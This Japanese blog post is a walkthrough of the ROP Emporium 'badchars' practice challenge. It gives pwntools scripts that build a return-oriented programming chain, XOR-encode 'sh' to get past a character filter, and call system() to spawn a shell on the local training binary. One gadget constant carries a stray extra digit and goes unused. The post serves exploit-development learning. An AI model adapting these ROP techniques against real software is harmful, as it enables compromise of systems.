a

よろしくのキワミ

ROPについて勉強する ~5~

ROPについて勉強する ~5~

続き

ropemporium.com

An arbitrary write challenge with a twist; certain input characters get mangled before finding their way onto the stack. Find a way to deal with this and craft your exploit.

入力文字がスタックに到達する前に破棄されるらしい。

解いていく

よくわからないので前回と同じ方法で解いてみる。
以下のscriptを書いた

from pwn import *

call_system = 0x004009e8                # system call
mov_r13_r12_ret = 0x0000000000400b34    # mov qword ptr [r13], r12; ret;
pop_r12_r13_ret = 0x0000000000400b3b    # pop r12; pop r13; ret;
pop_rdi_ret = 0x0000000000400b39        # pop rdi; ret;
data_section = 0x00601070               # .data section

exploit = 'A' * 40

# Create ROP process on .data section
exploit += p64(pop_r12_r13_ret)
exploit += p64(data_section)
exploit += '/bin/sh\x00'
exploit += p64(mov_r13_r12_ret)

# Call system() function
exploit += p64(pop_rdi_ret)
exploit += p64(data_section)
exploit += p64(call_system)

# Process run
elf = ELF('badchars')
io = process(elf.path)
print(io.recv())
io.sendline(exploit)
io.interactive()

前回はこれを実行するとsystemが.dataセクションに書き込んだ文字列を引数に実行されたが今回はどうだろうか

f:id:toDo:20190822013744p:plain

動かない。
何がどうなっているかわからないので続きを読んでみる

Dealing with bad characters is frequently necessary in exploit development and you've probably had to deal with them before when encoding shellcode.

~

Remember whilst constructing your ROP chain that the badchars apply to every character you use, not just parameters but addresses too. To mitigate the need for much RE the binary will list the badchars when you run it.

どこかで何かしらの処理をしているらしい()

r2で関数一覧を確認してみると

f:id:toDo:20190822014251p:plain

sym.checkBadcharsという関数を読んでいる。

プログラムを実行したときにも書いてあったが、このプログラムはbic/<space>fnsの文字は使用できないようになっているのでこれを回避すればよさそうだということがわかる

命令セットを見てみると

$ ropper -f badchars
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%

...

0x00000000004007ea: test byte ptr [rax], al; add byte ptr [rax], al; add byte ptr [rax], al; pop rbp; ret;
0x0000000000400b30: xor byte ptr [r15], r14b; ret;
0x0000000000400b31: xor byte ptr [rdi], dh; ret;
0x0000000000400a3d: clc; pop rbp; ret;
0x0000000000400879: int1; push rbp; mov rbp, rsp; call rax;
0x00000000004009dd: leave; ret;
0x00000000004009ed: nop; pop rbp; ret;
0x00000000004009dc: nop; leave; ret;
0x00000000004006b1: ret;
0x00000000004008e5: stc; or eax, dword ptr [rax]; call 0x6e0; mov eax, 0; pop rbp; ret;

88 gadgets found

の中にxor byte ptr [r15], r14b; ret;というものがある。

これを使用して、チェックを回避すればよさそうだ

exploit

from pwn import *

call_system = 0x004009e8                # system call
mov_r13_r12_ret = 0x0000000000400b34    # mov qword ptr [r13], r12; ret;
pop_r12_r13_ret = 0x0000000000400b3b    # pop r12; pop r13; ret;
pop_r14_r15_ret = 0x0000000000400b340   # pop r14; pop r15; ret;
pop_rdi_ret = 0x0000000000400b39        # pop rdi; ret;
xor_r14_r15 = 0x0000000000400b30        # xor byte ptr [r15], r14b; ret;
data_section = 0x00601071               # .data section

exploit = 'A' * 40

# Create ROP process on .data section
exploit += p64(pop_r12_r13_ret)
exploit += 'ph\x00\x00\x00\x00\x00\x00'    # 'sh\x00'
exploit += p64(data_section)
exploit += p64(mov_r13_r12_ret)

# p ^ 3 = 's'
exploit += p64(0x0000000000400b40)
exploit += p64(0x3)
exploit += p64(data_section)
exploit += p64(xor_r14_r15)

# Call system() function
exploit += p64(pop_rdi_ret)
exploit += p64(data_section)
exploit += p64(call_system)

# Process run
elf = ELF('badchars')
io = process(elf.path)
print(io.recv())
io.sendline(exploit)
io.interactive()

走らせると

f:id:toDo:20190826001755p:plain

無事flagが入手できた

プライバシーポリシー お問い合わせ